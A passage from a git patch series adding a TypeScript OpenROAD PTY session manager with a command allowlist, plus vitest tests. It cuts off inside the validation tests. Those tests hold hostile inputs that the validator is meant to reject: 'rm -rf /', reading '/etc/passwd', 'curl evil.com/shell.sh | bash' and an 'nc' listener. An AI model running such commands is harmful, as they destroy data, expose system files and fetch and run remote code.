From 7c1185ecf68f17a61b57e3c3f09e6dceea00c01f Mon Sep 17 00:00:00 2001 From: kartikloops Date: Thu, 11 Jun 2026 21:47:28 -0600 Subject: [PATCH 01/43] add vscode workspace settings for typescript sdk path --- .vscode/settings.json | 3 +++ 1 file changed, 3 insertions(+) create mode 100644 .vscode/settings.json diff --git a/.vscode/settings.json b/.vscode/settings.json new file mode 100644 index 0000000..d5b621d --- /dev/null +++ b/.vscode/settings.json @@ -0,0 +1,3 @@ +{ + "typescript.tsdk": "typescript/node_modules/typescript/lib" +} From aae2f60d0b308d56f0ef59a7029c6a4ab10c1283 Mon Sep 17 00:00:00 2001 From: kartikloops Date: Thu, 11 Jun 2026 21:47:32 -0600 Subject: [PATCH 02/43] add plan doc --- plan.md | 0 1 file changed, 0 insertions(+), 0 deletions(-) create mode 100644 plan.md diff --git a/plan.md b/plan.md new file mode 100644 index 0000000..e69de29 From 40517ea434b03b0b12223a5afa0d6c6f7567aed9 Mon Sep 17 00:00:00 2001 From: kartikloops Date: Thu, 11 Jun 2026 21:47:35 -0600 Subject: [PATCH 03/43] add core session state and error models --- typescript/src/core/models.ts | 27 +++++++++++++++++++++++++++ 1 file changed, 27 insertions(+) create mode 100644 typescript/src/core/models.ts diff --git a/typescript/src/core/models.ts b/typescript/src/core/models.ts new file mode 100644 index 0000000..8d4d00e --- /dev/null +++ b/typescript/src/core/models.ts @@ -0,0 +1,27 @@ +export enum SessionState { + CREATING = "creating", + ACTIVE = "active", + TERMINATED = "terminated", + ERROR = "error", +} + +export interface InteractiveSessionInfo { + sessionId: string; + createdAt: string; + isAlive: boolean; + commandCount: number; + bufferSize: number; + uptimeSeconds: number | null; + state: SessionState | null; + error?: string | null; +} + +export interface InteractiveExecResult { + output: string; + sessionId: string | null; + timestamp: string; + executionTime: number; + commandCount: number; + bufferSize: number; + error?: string | null; +} From e222bbce2e76dfa28781c9e35584a5077458dc73 Mon Sep 17 00:00:00 2001 From: kartikloops Date: Thu, 11 Jun 2026 21:47:38 -0600 Subject: [PATCH 04/43] add interactive session error models --- typescript/src/interactive/models.ts | 43 ++++++++++++++++++++++++++++ 1 file changed, 43 insertions(+) create mode 100644 typescript/src/interactive/models.ts diff --git a/typescript/src/interactive/models.ts b/typescript/src/interactive/models.ts new file mode 100644 index 0000000..5efa583 --- /dev/null +++ b/typescript/src/interactive/models.ts @@ -0,0 +1,43 @@ +export class SessionError extends Error { + readonly sessionId: string | undefined; + + constructor(message: string, sessionId?: string) { + super(message); + this.name = "SessionError"; + this.sessionId = sessionId; + } +} + +export class SessionNotFoundError extends SessionError { + constructor(message: string, sessionId?: string) { + super(message, sessionId); + this.name = "SessionNotFoundError"; + } +} + +export class SessionTerminatedError extends SessionError { + constructor(message: string, sessionId?: string) { + super(message, sessionId); + this.name = "SessionTerminatedError"; + } +} + +export class CommandBlockedError extends SessionError { + readonly commandVerb: string; + + constructor(commandVerb: string, sessionId?: string) { + super( + `Command '${commandVerb}' is not allowed. Only OpenROAD and safe Tcl commands are permitted.`, + sessionId, + ); + this.name = "CommandBlockedError"; + this.commandVerb = commandVerb; + } +} + +export class PTYError extends Error { + constructor(message: string) { + super(message); + this.name = "PTYError"; + } +} From 17fb53e1e09116cf1376a66b62270253e150d5e8 Mon Sep 17 00:00:00 2001 From: kartikloops Date: Thu, 11 Jun 2026 21:47:41 -0600 Subject: [PATCH 05/43] add circular buffer for pty output --- typescript/src/interactive/buffer.ts | 128 +++++++++++++++++++++++++++ 1 file changed, 128 insertions(+) create mode 100644 typescript/src/interactive/buffer.ts diff --git a/typescript/src/interactive/buffer.ts b/typescript/src/interactive/buffer.ts new file mode 100644 index 0000000..19981ba --- /dev/null +++ b/typescript/src/interactive/buffer.ts @@ -0,0 +1,128 @@ +import { Mutex } from "async-mutex"; + +const DEFAULT_MAX_SIZE = 128 * 1024; + +export class CircularBuffer { + readonly maxSize: number; + private readonly _chunks: string[] = []; + private _totalSize = 0; + private readonly _mutex = new Mutex(); + private _dataAvailable = false; + private _resolvers: Array<() => void> = []; + + constructor(maxSize: number = DEFAULT_MAX_SIZE) { + this.maxSize = maxSize; + } + + get size(): number { + return this._totalSize; + } + + get chunkCount(): number { + return this._chunks.length; + } + + async append(data: string): Promise { + if (!data) return; + + const release = await this._mutex.acquire(); + try { + if (this.maxSize === 0) return; + + this._chunks.push(data); + this._totalSize += data.length; + + while (this._totalSize > this.maxSize && this._chunks.length > 1) { + const old = this._chunks.shift()!; + this._totalSize -= old.length; + } + + this._dataAvailable = true; + const pending = this._resolvers.splice(0); + for (const resolve of pending) resolve(); + } finally { + release(); + } + } + + async drainAll(): Promise { + const release = await this._mutex.acquire(); + try { + const result = this._chunks.splice(0); + this._totalSize = 0; + this._dataAvailable = false; + return result; + } finally { + release(); + } + } + + async peekAll(): Promise { + const release = await this._mutex.acquire(); + try { + return [...this._chunks]; + } finally { + release(); + } + } + + async waitForData(timeoutMs: number): Promise { + if (this._dataAvailable) return true; + + return new Promise((resolve) => { + let settled = false; + + const timer = setTimeout(() => { + if (settled) return; + settled = true; + const idx = this._resolvers.indexOf(wakeUp); + if (idx !== -1) this._resolvers.splice(idx, 1); + resolve(false); + }, timeoutMs); + + const wakeUp = (): void => { + if (settled) return; + settled = true; + clearTimeout(timer); + resolve(true); + }; + + this._resolvers.push(wakeUp); + }); + } + + async clear(): Promise { + const release = await this._mutex.acquire(); + try { + this._chunks.splice(0); + this._totalSize = 0; + this._dataAvailable = false; + } finally { + release(); + } + } + + toText(chunks: string[]): string { + return chunks.join(""); + } + + async getStats(): Promise<{ + totalChars: number; + chunkCount: number; + maxSize: number; + utilizationPercent: number; + }> { + const release = await this._mutex.acquire(); + try { + return { + totalChars: this._totalSize, + chunkCount: this._chunks.length, + maxSize: this.maxSize, + utilizationPercent: + this.maxSize > 0 ? Math.floor((this._totalSize / this.maxSize) * 100) : 0, + }; + } finally { + release(); + } + } +} From 64542edc8dfe6f5a6732abbb5313538e36c52f58 Mon Sep 17 00:00:00 2001 From: kartikloops Date: Thu, 11 Jun 2026 21:47:44 -0600 Subject: [PATCH 06/43] add pty handler for managing node-pty processes --- typescript/src/interactive/pty_handler.ts | 191 ++++++++++++++++++++++ 1 file changed, 191 insertions(+) create mode 100644 typescript/src/interactive/pty_handler.ts diff --git a/typescript/src/interactive/pty_handler.ts b/typescript/src/interactive/pty_handler.ts new file mode 100644 index 0000000..857498c --- /dev/null +++ b/typescript/src/interactive/pty_handler.ts @@ -0,0 +1,191 @@ +import path from "node:path"; +import { spawn } from "node-pty"; +import type { IPty, IDisposable } from "node-pty"; +import { settings as defaultSettings } from "../config/settings.js"; +import type { Settings } from "../config/settings.js"; +import { PTYError } from "./models.js"; + +export class PtyHandler { + private _ptyProcess: IPty | null = null; + private _alive = false; + private _dataDisposable: IDisposable | null = null; + private _exitDisposable: IDisposable | null = null; + private _exitResolvers: Array<(code: number) => void> = []; + private _exitCode: number | null = null; + + constructor(private readonly _settings: Settings = defaultSettings) {} + + validateCommand(command: string[]): void { + if (!this._settings.ENABLE_COMMAND_VALIDATION) return; + + if (command.length === 0) { + throw new PTYError("Command list cannot be empty"); + } + + const executable = command[0]!; + + if (path.isAbsolute(executable)) { + throw new PTYError( + `Command '${executable}' must not be an absolute path. ` + + `Use the binary name only (e.g. 'openroad'). ` + + `To allow additional commands, set OPENROAD_ALLOWED_COMMANDS environment variable.`, + ); + } + + if (!this._settings.ALLOWED_COMMANDS.includes(executable)) { + const allowed = this._settings.ALLOWED_COMMANDS.join(", "); + throw new PTYError( + `Command '${executable}' is not in the allowed commands list. Allowed commands: ${allowed}. ` + + `To add this command, set OPENROAD_ALLOWED_COMMANDS environment variable.`, + ); + } + + for (let i = 0; i < command.length; i++) { + const arg = command[i]!; + if (/[;&|$`\n\r]/.test(arg)) { + throw new PTYError( + `Command argument ${i} contains shell metacharacters which are not allowed: ${JSON.stringify(arg)}`, + ); + } + if (arg.startsWith(">") || arg.startsWith("<")) { + throw new PTYError( + `Command argument ${i} contains redirection operators which are not allowed: ${JSON.stringify(arg)}`, + ); + } + } + } + + async createSession( + command: string[], + env?: Record, + cwd?: string, + onData?: (data: string) => void, + onExit?: (exitCode: number) => void, + ): Promise { + try { + this.validateCommand(command); + + const processEnv: Record = { + ...(process.env as Record), + ...env, + TERM: "xterm-256color", + COLUMNS: "80", + LINES: "24", + }; + + this._ptyProcess = spawn(command[0]!, command.slice(1), { + name: "xterm-256color", + cols: 80, + rows: 24, + cwd: cwd ?? process.cwd(), + env: processEnv, + }); + + this._alive = true; + this._exitCode = null; + + if (onData) { + this._dataDisposable = this._ptyProcess.onData(onData); + } + + this._exitDisposable = this._ptyProcess.onExit(({ exitCode }) => { + this._alive = false; + this._exitCode = exitCode; + const resolvers = this._exitResolvers.splice(0); + for (const resolve of resolvers) resolve(exitCode); + onExit?.(exitCode); + }); + } catch (e) { + if (e instanceof PTYError) throw e; + throw new PTYError(`Failed to create PTY session: ${e}`); + } + } + + writeInput(data: string): void { + if (!this._ptyProcess) { + throw new PTYError("Cannot write: no active PTY process"); + } + try { + this._ptyProcess.write(data); + } catch (e) { + throw new PTYError(`Failed to write to PTY: ${e}`); + } + } + + isProcessAlive(): boolean { + return this._alive; + } + + async waitForExit(timeoutMs?: number): Promise { + if (!this._ptyProcess) return null; + if (this._exitCode !== null) return this._exitCode; + + return new Promise((resolve) => { + let settled = false; + + const onExit = (code: number): void => { + if (settled) return; + settled = true; + if (timer !== null) clearTimeout(timer); + resolve(code); + }; + + let timer: ReturnType | null = null; + if (timeoutMs !== undefined) { + timer = setTimeout(() => { + if (settled) return; + settled = true; + const idx = this._exitResolvers.indexOf(onExit); + if (idx !== -1) this._exitResolvers.splice(idx, 1); + resolve(null); + }, timeoutMs); + } + + this._exitResolvers.push(onExit); + }); + } + + async terminateProcess(force = false): Promise { + if (!this._ptyProcess || !this._alive) return; + + try { + if (force) { + this._ptyProcess.kill("SIGKILL"); + return; + } + + this._ptyProcess.kill("SIGTERM"); + } catch { + return; + } + + const exited = await this.waitForExit(5000); + if (exited === null && this._alive) { + try { + this._ptyProcess.kill("SIGKILL"); + } catch { + // ignored + } + } + } + + async cleanup(): Promise { + if (this._alive) { + try { + await this.terminateProcess(); + } catch { + // Best effort - don't let terminate errors prevent state reset + } + } + + try { this._dataDisposable?.dispose(); } catch { /* ignored */ } + try { this._exitDisposable?.dispose(); } catch { /* ignored */ } + + this._ptyProcess = null; + this._alive = false; + this._dataDisposable = null; + this._exitDisposable = null; + this._exitResolvers = []; + this._exitCode = null; + } +} From 11780e78c7e5c44cf770c55f2b0fdc1bd90d943e Mon Sep 17 00:00:00 2001 From: kartikloops Date: Thu, 11 Jun 2026 21:47:47 -0600 Subject: [PATCH 07/43] add interactive session manager --- typescript/src/interactive/session.ts | 314 ++++++++++++++++++++++++++ 1 file changed, 314 insertions(+) create mode 100644 typescript/src/interactive/session.ts diff --git a/typescript/src/interactive/session.ts b/typescript/src/interactive/session.ts new file mode 100644 index 0000000..e13bcba --- /dev/null +++ b/typescript/src/interactive/session.ts @@ -0,0 +1,314 @@ +import { ANSIDecoder } from "../utils/ansi_decoder.js"; +import { settings as defaultSettings } from "../config/settings.js"; +import type { Settings } from "../config/settings.js"; +import { SessionState } from "../core/models.js"; +import type { InteractiveExecResult, InteractiveSessionInfo } from "../core/models.js"; +import { MAX_COMMAND_COMPLETION_WINDOW } from "../constants.js"; +import { CircularBuffer } from "./buffer.js"; +import { SessionError, SessionTerminatedError } from "./models.js"; +import { PtyHandler } from "./pty_handler.js"; + +const ERROR_PATTERNS: Array<[RegExp, string]> = [ + [/invalid command name "([^"]+)"/i, "Invalid command: {0}"], + [/wrong # args: should be "([^"]+)"/i, "Wrong arguments for command: {0}"], + [/can't read file "?([^".\s]+)"?\.?\s*$/im, "Cannot read file: {0}"], + [/cannot read file ([^\s.]+)\.?\s*$/im, "Cannot read file: {0}"], + [/No such file or directory: ([^\s]+)/i, "File not found: {0}"], + [/Permission denied: ([^\s]+)/i, "Permission denied: {0}"], + [/Error: ([^.]+\.lib[^.]*)\s+not found/i, "Liberty file not found: {0}"], + [/Error: ([^.]+\.lef[^.]*)\s+not found/i, "LEF file not found: {0}"], + [/Error: design ([^\s]+) not found/i, "Design not found: {0}"], + [/Error: instance ([^\s]+) not found/i, "Instance not found: {0}"], + [/Error: net ([^\s]+) not found/i, "Net not found: {0}"], + [/Error: clock ([^\s]+) not found/i, "Clock not found: {0}"], + [/Error: no clocks defined/i, "No clocks defined"], + [/Error: (.+?)(?:\r?\n|$)/im, "Error: {0}"], + [/ERROR: (.+?)(?:\r?\n|$)/m, "Error: {0}"], + [/FATAL: (.+?)(?:\r?\n|$)/m, "Fatal error: {0}"], + [/while evaluating (.+?)(?:\r?\n|$)/im, "Command evaluation failed: {0}"], +]; + +export class InteractiveSession { + readonly sessionId: string; + readonly createdAt: Date; + commandCount = 0; + + private _state: SessionState; + pty: PtyHandler; + readonly outputBuffer: CircularBuffer; + + private _inputQueue: string[] = []; + private _inputWaiters: Array<() => void> = []; + private _isShutdown = false; + private _writerTask: Promise | null = null; + + constructor(sessionId: string, bufferSize?: number, private readonly _settings: Settings = defaultSettings) { + this.sessionId = sessionId; + this.createdAt = new Date(); + this._state = SessionState.CREATING; + this.pty = new PtyHandler(_settings); + this.outputBuffer = new CircularBuffer(bufferSize ?? _settings.DEFAULT_BUFFER_SIZE); + } + + get state(): SessionState { + return this._state; + } + + set state(value: SessionState) { + this._state = value; + } + + isAlive(): boolean { + if (this._state === SessionState.TERMINATED) return false; + + const processAlive = this.pty.isProcessAlive(); + if (!processAlive && this._state === SessionState.ACTIVE) { + this._state = SessionState.TERMINATED; + return false; + } + + return this._state === SessionState.ACTIVE && processAlive; + } + + isRunning(): boolean { + return this._writerTask !== null && !this._isShutdown; + } + + inputQueueSize(): number { + return this._inputQueue.length; + } + + async start(command?: string[], env?: Record, cwd?: string): Promise { + if (this._state !== SessionState.CREATING) { + throw new SessionError(`Cannot start session in state ${this._state}`, this.sessionId); + } + + try { + const cmd = command ?? ["openroad", "-no_init"]; + + await this.pty.createSession( + cmd, + env, + cwd, + (data: string) => { + // node-pty delivers data in push-based bursts with no size limit. + // Slicing large deliveries keeps individual buffer chunks small so the + // circular buffer's eviction logic bounds memory correctly. + const chunkSize = this._settings.READ_CHUNK_SIZE; + if (data.length <= chunkSize) { + void this.outputBuffer.append(data); + } else { + for (let i = 0; i < data.length; i += chunkSize) { + void this.outputBuffer.append(data.slice(i, i + chunkSize)); + } + } + }, + (_exitCode: number) => { + if (this._state !== SessionState.TERMINATED) { + this._state = SessionState.TERMINATED; + this._signalShutdown(); + } + }, + ); + + this._state = SessionState.ACTIVE; + this._writerTask = this._writeInput(); + } catch (e) { + this._state = SessionState.ERROR; + await this.cleanup(); + throw new SessionError(`Failed to start session: ${e}`, this.sessionId); + } + } + + async sendCommand(command: string): Promise { + if (!this.isAlive()) { + throw new SessionTerminatedError(`Session ${this.sessionId} is not active`, this.sessionId); + } + + if (this._inputQueue.length >= this._settings.SESSION_QUEUE_SIZE) { + throw new SessionError( + `Input queue full (${this._settings.SESSION_QUEUE_SIZE} commands pending)`, + this.sessionId, + ); + } + + const data = command.endsWith("\n") ? command : command + "\n"; + this._inputQueue.push(data); + this.commandCount++; + + const waiters = this._inputWaiters.splice(0); + for (const w of waiters) w(); + } + + async readOutput(timeoutMs = 1000): Promise { + const startTime = Date.now(); + + if (!this.isAlive()) { + // Drain-before-reject: a fast-exiting command (e.g. "exit") can flip + // _state to TERMINATED between sendCommand and readOutput because + // sendCommand is synchronous and the event loop runs onExit at the + // next await boundary. Node.js drains all microtasks before firing + // onExit, so any preceding onData appends are already in the buffer. + // Return whatever is buffered rather than discarding it. + const chunks = await this.outputBuffer.drainAll(); + if (chunks.length === 0) { + throw new SessionTerminatedError(`Session ${this.sessionId} is not active`, this.sessionId); + } + const rawOutput = chunks.join(""); + const output = ANSIDecoder.cleanOpenroadOutput(rawOutput); + return { + output, + sessionId: this.sessionId, + timestamp: new Date().toISOString(), + executionTime: (Date.now() - startTime) / 1000, + commandCount: this.commandCount, + bufferSize: this.outputBuffer.size, + error: this._detectErrors(output) ?? null, + }; + } + + const collected: string[] = []; + + while (Date.now() - startTime < timeoutMs) { + const chunks = await this.outputBuffer.drainAll(); + if (chunks.length > 0) collected.push(...chunks); + + if (collected.length > 0) { + const remaining = timeoutMs - (Date.now() - startTime); + const completionWindow = Math.min(MAX_COMMAND_COMPLETION_WINDOW * 1000, remaining); + if (completionWindow > 0) { + const arrived = await this.outputBuffer.waitForData(completionWindow); + if (!arrived) break; + } else { + break; + } + } else { + const remaining = timeoutMs - (Date.now() - startTime); + if (remaining <= 0) break; + const arrived = await this.outputBuffer.waitForData(remaining); + if (!arrived) break; + } + } + + const rawOutput = collected.join(""); + const executionTime = (Date.now() - startTime) / 1000; + const output = ANSIDecoder.cleanOpenroadOutput(rawOutput); + + return { + output, + sessionId: this.sessionId, + timestamp: new Date().toISOString(), + executionTime, + commandCount: this.commandCount, + bufferSize: this.outputBuffer.size, + error: this._detectErrors(output) ?? null, + }; + } + + async getInfo(): Promise { + const uptime = (Date.now() - this.createdAt.getTime()) / 1000; + return { + sessionId: this.sessionId, + createdAt: this.createdAt.toISOString(), + isAlive: this.isAlive(), + commandCount: this.commandCount, + bufferSize: this.outputBuffer.size, + uptimeSeconds: uptime, + state: this._state, + }; + } + + async terminate(force = false): Promise { + if (this._state === SessionState.TERMINATED) return; + + this._state = SessionState.TERMINATED; + this._signalShutdown(); + + await this.pty.terminateProcess(force); + + if (this._writerTask !== null) { + await this._writerTask; + this._writerTask = null; + } + } + + async cleanup(): Promise { + if (this._state !== SessionState.TERMINATED && this._state !== SessionState.ERROR) { + this._state = SessionState.TERMINATED; + } + this._signalShutdown(); + + if (this._writerTask !== null) { + await this._writerTask; + this._writerTask = null; + } + + await this.pty.cleanup(); + await this.outputBuffer.clear(); + } + + private _signalShutdown(): void { + this._isShutdown = true; + const waiters = this._inputWaiters.splice(0); + for (const w of waiters) w(); + } + + private async _writeInput(): Promise { + while (!this._isShutdown) { + const data = await this._dequeueInput(1000); + if (this._isShutdown) break; + if (data !== null) { + try { + this.pty.writeInput(data); + } catch { + if (this._state === SessionState.ACTIVE) { + this._state = SessionState.TERMINATED; + } + this._signalShutdown(); + break; + } + } + } + } + + private _dequeueInput(timeoutMs: number): Promise { + if (this._inputQueue.length > 0) { + return Promise.resolve(this._inputQueue.shift()!); + } + + return new Promise((resolve) => { + let settled = false; + + const timer = setTimeout(() => { + if (settled) return; + settled = true; + const idx = this._inputWaiters.indexOf(wakeUp); + if (idx !== -1) this._inputWaiters.splice(idx, 1); + resolve(null); + }, timeoutMs); + + const wakeUp = (): void => { + if (settled) return; + settled = true; + clearTimeout(timer); + resolve(this._inputQueue.shift() ?? null); + }; + + this._inputWaiters.push(wakeUp); + }); + } + + private _detectErrors(output: string): string | undefined { + if (!output) return undefined; + + for (const [pattern, template] of ERROR_PATTERNS) { + const match = pattern.exec(output); + if (match) { + const capture = match[1]; + return capture ? template.replace("{0}", capture.trim()) : template; + } + } + + return undefined; + } +} From 0540afa8e54549fb3ab21b273bc2e543a5f303cd Mon Sep 17 00:00:00 2001 From: kartikloops Date: Thu, 11 Jun 2026 21:47:51 -0600 Subject: [PATCH 08/43] add tests for circular buffer --- .../__tests__/interactive/buffer.test.ts | 200 ++++++++++++++++++ 1 file changed, 200 insertions(+) create mode 100644 typescript/__tests__/interactive/buffer.test.ts diff --git a/typescript/__tests__/interactive/buffer.test.ts b/typescript/__tests__/interactive/buffer.test.ts new file mode 100644 index 0000000..2a6add7 --- /dev/null +++ b/typescript/__tests__/interactive/buffer.test.ts @@ -0,0 +1,200 @@ +import { describe, it, expect } from "vitest"; +import { CircularBuffer } from "../../src/interactive/buffer.js"; + +describe("CircularBuffer", () => { + describe("basic operations", () => { + it("starts empty", () => { + const buf = new CircularBuffer(100); + expect(buf.size).toBe(0); + expect(buf.chunkCount).toBe(0); + }); + + it("appends and drains a single chunk", async () => { + const buf = new CircularBuffer(100); + await buf.append("hello"); + expect(buf.size).toBe(5); + expect(buf.chunkCount).toBe(1); + + const chunks = await buf.drainAll(); + expect(chunks).toEqual(["hello"]); + expect(buf.size).toBe(0); + }); + + it("handles multiple chunks with peek and drain", async () => { + const buf = new CircularBuffer(100); + await buf.append("chunk1"); + await buf.append("chunk2"); + await buf.append("chunk3"); + + expect(buf.chunkCount).toBe(3); + expect(buf.size).toBe(18); + + const peeked = await buf.peekAll(); + expect(peeked).toEqual(["chunk1", "chunk2", "chunk3"]); + expect(buf.size).toBe(18); + + const drained = await buf.drainAll(); + expect(drained).toEqual(["chunk1", "chunk2", "chunk3"]); + expect(buf.size).toBe(0); + }); + }); + + describe("eviction", () => { + it("evicts oldest chunks when limit is exceeded", async () => { + const buf = new CircularBuffer(10); + await buf.append("12345"); + await buf.append("67890"); + await buf.append("ABCDE"); + + const chunks = await buf.drainAll(); + expect(chunks).toEqual(["67890", "ABCDE"]); + }); + + it("keeps a single oversized chunk as the only entry", async () => { + const buf = new CircularBuffer(10); + await buf.append("12345"); + await buf.append("67890"); + await buf.append("LARGE_CHUNK_EXCEEDS"); + + const chunks = await buf.drainAll(); + expect(chunks).toHaveLength(1); + expect(chunks[0]).toBe("LARGE_CHUNK_EXCEEDS"); + }); + }); + + describe("edge cases", () => { + it("ignores empty string appends", async () => { + const buf = new CircularBuffer(100); + await buf.append(""); + expect(buf.size).toBe(0); + expect(buf.chunkCount).toBe(0); + + await buf.append("hello"); + await buf.append(""); + expect(buf.size).toBe(5); + expect(buf.chunkCount).toBe(1); + }); + + it("zero-size buffer discards all data", async () => { + const buf = new CircularBuffer(0); + await buf.append("test"); + expect(buf.size).toBe(0); + }); + + it("very small buffer keeps the newest chunk even if oversized", async () => { + const buf = new CircularBuffer(1); + await buf.append("ab"); + const chunks = await buf.drainAll(); + expect(chunks).toHaveLength(1); + expect(chunks[0]).toBe("ab"); + }); + }); + + describe("toText", () => { + it("joins chunks into a single string", async () => { + const buf = new CircularBuffer(100); + await buf.append("hello"); + await buf.append(" "); + await buf.append("world"); + + const chunks = await buf.drainAll(); + expect(buf.toText(chunks)).toBe("hello world"); + }); + + it("returns empty string for empty array", () => { + const buf = new CircularBuffer(100); + expect(buf.toText([])).toBe(""); + }); + }); + + describe("waitForData", () => { + it("returns false when no data arrives within timeout", async () => { + const buf = new CircularBuffer(100); + const result = await buf.waitForData(10); + expect(result).toBe(false); + }); + + it("returns true immediately when data is already present", async () => { + const buf = new CircularBuffer(100); + await buf.append("test"); + const result = await buf.waitForData(10); + expect(result).toBe(true); + }); + + it("wakes up when data arrives asynchronously", async () => { + const buf = new CircularBuffer(100); + await buf.clear(); + + const addTask = (async () => { + await new Promise((r) => setTimeout(r, 10)); + await buf.append("delayed"); + })(); + + const result = await buf.waitForData(100); + expect(result).toBe(true); + await addTask; + }); + }); + + describe("clear", () => { + it("removes all data and resets size", async () => { + const buf = new CircularBuffer(100); + await buf.append("test1"); + await buf.append("test2"); + + await buf.clear(); + expect(buf.size).toBe(0); + expect(buf.chunkCount).toBe(0); + }); + }); + + describe("getStats", () => { + it("returns zero stats on empty buffer", async () => { + const buf = new CircularBuffer(100); + const stats = await buf.getStats(); + expect(stats.totalChars).toBe(0); + expect(stats.chunkCount).toBe(0); + expect(stats.maxSize).toBe(100); + expect(stats.utilizationPercent).toBe(0); + }); + + it("reflects data added to the buffer", async () => { + const buf = new CircularBuffer(100); + await buf.append("test_data"); + const stats = await buf.getStats(); + expect(stats.totalChars).toBe(9); + expect(stats.chunkCount).toBe(1); + expect(stats.utilizationPercent).toBe(9); + }); + }); + + describe("concurrent access", () => { + it("handles concurrent writers and a reader", async () => { + const buf = new CircularBuffer(1000); + + const writer = async (prefix: string, count: number) => { + for (let i = 0; i < count; i++) { + await buf.append(`${prefix}_${i}`); + await new Promise((r) => setTimeout(r, 1)); + } + }; + + const reader = async () => { + const all: string[] = []; + for (let i = 0; i < 10; i++) { + const chunks = await buf.drainAll(); + all.push(...chunks); + await new Promise((r) => setTimeout(r, 2)); + } + return all; + }; + + const [, , collected] = await Promise.all([writer("A", 5), writer("B", 5), reader()]); + + expect(collected.length).toBeGreaterThan(0); + const text = buf.toText(collected); + expect(text).toContain("A_"); + expect(text).toContain("B_"); + }); + }); +}); From 1fd693b7dbec7556883e17f3439ee03917bbeb40 Mon Sep 17 00:00:00 2001 From: kartikloops Date: Thu, 11 Jun 2026 21:47:54 -0600 Subject: [PATCH 09/43] add tests for command validation --- .../interactive/command_validation.test.ts | 304 ++++++++++++++++++ 1 file changed, 304 insertions(+) create mode 100644 typescript/__tests__/interactive/command_validation.test.ts diff --git a/typescript/__tests__/interactive/command_validation.test.ts b/typescript/__tests__/interactive/command_validation.test.ts new file mode 100644 index 0000000..e0b4059 --- /dev/null +++ b/typescript/__tests__/interactive/command_validation.test.ts @@ -0,0 +1,304 @@ +import { describe, it, expect, afterEach, vi } from "vitest"; +import { + PTYError, + SessionError, + SessionNotFoundError, + SessionTerminatedError, + CommandBlockedError, +} from "../../src/interactive/models.js"; +import { PtyHandler } from "../../src/interactive/pty_handler.js"; +import { Settings } from "../../src/config/settings.js"; + +vi.mock("node-pty", () => ({ spawn: vi.fn() })); + +afterEach(() => vi.unstubAllEnvs()); + +function makeHandler(overrides: Partial = {}) { + return new PtyHandler(new Settings(overrides)); +} + +describe("command validation", () => { + describe("allowed commands", () => { + it("passes for allowed command", () => { + makeHandler().validateCommand(["openroad", "-no_init"]); + }); + + it("throws for absolute path even if basename matches an allowed command", () => { + expect(() => makeHandler().validateCommand(["/usr/bin/openroad", "-no_init"])).toThrow(PTYError); + expect(() => makeHandler().validateCommand(["/usr/bin/openroad", "-no_init"])).toThrow("absolute path"); + }); + + it("passes for valid flags and file arguments", () => { + makeHandler().validateCommand(["openroad", "-no_init", "script.tcl"]); + makeHandler().validateCommand(["openroad", "-cmd", "read_lef design.lef"]); + makeHandler().validateCommand(["openroad", "-no_init", "-exit"]); + }); + + it("throws on empty command list", () => { + expect(() => makeHandler().validateCommand([])).toThrow(PTYError); + expect(() => makeHandler().validateCommand([])).toThrow("Command list cannot be empty"); + }); + + it("throws for disallowed plain command", () => { + expect(() => makeHandler().validateCommand(["python"])).toThrow( + "not in the allowed commands list", + ); + expect(() => makeHandler().validateCommand(["sh"])).toThrow("not in the allowed commands list"); + }); + + it("throws for absolute path to disallowed command (absolute path check fires first)", () => { + expect(() => makeHandler().validateCommand(["/bin/bash", "-c", "echo hello"])).toThrow( + "absolute path", + ); + }); + }); + + describe("shell metacharacter detection", () => { + it("blocks semicolon", () => { + expect(() => + makeHandler().validateCommand(["openroad", "-cmd", "read_lef; exit"]), + ).toThrow("contains shell metacharacters"); + }); + + it("blocks pipe", () => { + expect(() => + makeHandler().validateCommand(["openroad", "-cmd", "read_lef | grep design"]), + ).toThrow("contains shell metacharacters"); + }); + + it("blocks ampersand", () => { + expect(() => + makeHandler().validateCommand(["openroad", "-cmd", "read_lef & exit"]), + ).toThrow("contains shell metacharacters"); + }); + + it("blocks dollar sign", () => { + expect(() => makeHandler().validateCommand(["openroad", "$INJECTION"])).toThrow( + "contains shell metacharacters", + ); + }); + + it("blocks backtick", () => { + expect(() => makeHandler().validateCommand(["openroad", "`whoami`"])).toThrow( + "contains shell metacharacters", + ); + }); + + it("blocks newline", () => { + expect(() => makeHandler().validateCommand(["openroad", "arg1\nexit"])).toThrow( + "contains shell metacharacters", + ); + }); + + it("blocks carriage return", () => { + expect(() => makeHandler().validateCommand(["openroad", "arg1\rexit"])).toThrow( + "contains shell metacharacters", + ); + }); + }); + + describe("redirection operator detection", () => { + it("blocks output redirection", () => { + expect(() => makeHandler().validateCommand(["openroad", ">output.txt"])).toThrow( + "contains redirection operators", + ); + }); + + it("blocks input redirection", () => { + expect(() => makeHandler().validateCommand(["openroad", " { + expect(() => makeHandler().validateCommand(["openroad", ">>output.txt"])).toThrow( + "contains redirection operators", + ); + }); + }); + + describe("settings injection", () => { + it("skips validation when ENABLE_COMMAND_VALIDATION is false", () => { + const handler = makeHandler({ ENABLE_COMMAND_VALIDATION: false }); + handler.validateCommand(["/bin/bash", "-c", "echo hello"]); + }); + + it("respects custom ALLOWED_COMMANDS list", () => { + const handler = makeHandler({ + ENABLE_COMMAND_VALIDATION: true, + ALLOWED_COMMANDS: ["openroad", "python", "custom_tool"], + }); + + handler.validateCommand(["python", "script.py"]); + handler.validateCommand(["custom_tool", "--arg"]); + + expect(() => handler.validateCommand(["bash", "-c", "echo"])).toThrow( + "not in the allowed commands list", + ); + }); + }); +}); + +describe("command injection prevention", () => { + it("blocks command chaining via semicolon", () => { + expect(() => + makeHandler().validateCommand(["openroad", "-cmd", "read_lef design.lef; rm -rf /"]), + ).toThrow(PTYError); + }); + + it("blocks command substitution with backticks", () => { + expect(() => + makeHandler().validateCommand(["openroad", "`cat /etc/passwd`"]), + ).toThrow(PTYError); + }); + + it("blocks $() command substitution", () => { + expect(() => + makeHandler().validateCommand(["openroad", "$(whoami)"]), + ).toThrow(PTYError); + }); + + it("blocks background execution via &", () => { + expect(() => + makeHandler().validateCommand(["openroad", "script.tcl &"]), + ).toThrow(PTYError); + }); + + it("blocks piping to a shell", () => { + expect(() => + makeHandler().validateCommand(["openroad", "| /bin/bash"]), + ).toThrow(PTYError); + }); + + it("blocks executing arbitrary binaries", () => { + // Absolute paths are caught by the absolute-path guard (fires before allowlist check) + expect(() => + makeHandler().validateCommand(["/bin/bash", "-c", "curl evil.com/shell.sh | bash"]), + ).toThrow("absolute path"); + + expect(() => + makeHandler().validateCommand(["/usr/bin/nc", "-l", "4444"]), + 